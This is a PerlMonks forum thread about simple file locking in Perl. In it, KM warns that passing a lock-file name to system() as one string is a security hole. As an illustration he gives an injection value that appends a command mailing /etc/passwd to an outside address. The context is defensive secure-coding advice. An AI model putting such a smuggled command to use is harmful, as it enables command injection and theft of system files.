Beefy Boxes and Bandwidth Generously Provided by pair Networks
more useful options
 
PerlMonks  

RE: RE (2): Simple Locking

by KM (Priest)
on Aug 08, 2000 at 23:52 UTC ( [id://26873]=note: print w/replies, xml ) Need Help??


in reply to RE (2): Simple Locking
in thread Simple Locking

However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist.

I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:

system("/bin/touch",$lockfile);

Or, simply an open FH, ">>$lockfile" ... approach.

Cheers,
KM

Replies are listed 'Best First'.
RE (4): Simple Locking
by tilly (Archbishop) on Aug 09, 2000 at 00:08 UTC
    Ah. In none of my code do I pass the locking name around, it usually is used to serialize specific programs.

    All in all not significantly different from what merlyn did for Highlander - allow only one invocation at a time of an expensive CGI script. Which with this module would be:

    use CGI; use Lock; local $main::highlander = Get Lock( lock_file => "highlander", timeout_limit => 10; ); unless ($main::highlander) { my $host = $ENV{REMOTE_HOST}; $host = $ENV{REMOTE_ADDR} unless defined $host; warn "$0 @ ".(localtime).": highlander abort for $host after 10 se +conds\n"; print CGI::header(-status => 503, -retry_after => 30, -type => 'text/plain'), "Our server is overloaded. Please try again i +n a few minutes.\n"; exit 0; } # No further logic required for mod_perl!!!
    But I will definitely make the fix now that you have shown me that this really is a security hole and not merely a portability issue as I had thought.
      You say mod_perl here, but what you really mean is Apache::Registry, just one of the many mod_perl modules, and you're relying on the trick that your code is getting wrapped into a giant subroutine, which may not necessarily be true in future implementations of Apache::Registry.

      Your trick doesn't work for mod_perl handlers in general, hence my warning on the original code.

      -- Randal L. Schwartz, Perl hacker

        Didn't know that. (I have mentioned I don't do much web stuff? Bad excuse, I know...)

        In general though, couldn't the above approach at least simplify the necessary logic somewhat? Particularly with functions with one entry and multiple exit points...?

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://26873]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this?Last hourOther CB clients
Other Users?
Others scrutinizing the Monastery: (10)
As of 2024-04-19 09:11 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found